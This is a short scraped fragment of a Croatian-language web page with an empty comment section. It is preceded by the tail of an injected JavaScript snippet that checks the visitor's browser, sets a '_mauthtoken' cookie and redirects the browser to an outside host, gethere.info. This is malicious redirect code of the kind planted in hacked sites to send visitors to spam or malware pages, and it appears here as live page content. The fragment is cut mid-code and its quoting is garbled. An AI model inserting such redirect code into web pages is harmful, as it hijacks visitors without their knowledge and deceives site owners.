“_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar